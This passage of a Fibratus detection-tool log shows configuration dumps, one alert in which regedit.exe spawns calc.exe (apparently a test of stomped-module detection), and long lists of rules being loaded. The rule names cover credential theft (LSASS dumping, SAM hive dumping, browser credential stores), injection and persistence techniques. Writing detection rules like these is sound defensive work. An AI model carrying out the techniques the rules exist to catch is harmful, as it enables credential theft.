.Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ index-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s enabled=>false gzip-compression=>false template-name=>fibratus trace-log=>false healthcheck=>true sniff=>false healthcheck-interval=>10s timeout=>5s] http=>[ method=>POST enabled=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json enable-gzip=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] skip-files=>false enabled=>false skip-registry=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:23:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:23:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:23:53+01:00 level=info msg=sending alert: [Process creation from a stomped module]. Text: Event(s): + Seq: 485918 + Pid: 15168 + Tid: 15096 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-10 17:23:52.5265574 +0100 CET + Params: cmdline➜ C:\Windows\System32\calc.exe, directory_table_base➜ 3163f6000, domain➜ ARCHRABBIT, exe➜ C:\Windows\System32\calc.exe, exit_status➜ Success, flags➜ , kproc➜ ffffaa0534a770c0, name➜ calc.exe, pid➜ 12616, ppid➜ 15168, real_ppid➜ 15168, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-10 17:23:52.5265015 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: Process creation from a stomped module, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, rule.seq.link: 578431289741279232 + + Pid: 15168 + Ppid: 1040 + Name: regedit.exe + Parent name: explorer.exe + Cmdline: "C:\WINDOWS\regedit.exe" + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\WINDOWS\regedit.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\regedit.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-10T17:24:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:24:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:24:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:24:56+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:24:56+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-10T17:24:56+01:00 level=info msg=bootstrapping with pid 22148. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:24:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ to=>[] content-type=>text/html enabled=>false use-template=>true port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false flush-interval=>1s enable-registry=>true enable-image=>true enable-handle=>false enable-dns=>false enable-vamap=>true min-buffers=>16 enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-mem=>false enable-net=>true max-buffers=>36 enable-fileio=>true buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-size=>100 formatter=>text max-age=>0] + output ......................... [ amqp=>[ vhost=>/ exchange=>fibratus timeout=>5s exchange-type=>topic url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient enabled=>false routing-key=>fibratus] elasticsearch=>[ servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s flush-period=>1s template-name=>fibratus healthcheck=>true gzip-compression=>false healthcheck-interval=>10s sniff=>false trace-log=>false enabled=>false bulk-workers=>1 index-name=>fibratus timeout=>5s] http=>[ tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false enabled=>false method=>POST serializer=>json endpoints=>[]] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-files=>false scan-timeout=>10s enabled=>false excluded-procs=>[] skip-mmaps=>false skip-allocs=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:24:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:24:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:25:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:25:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:25:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:42:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:42:00+01:00 level=info msg=loading rule from 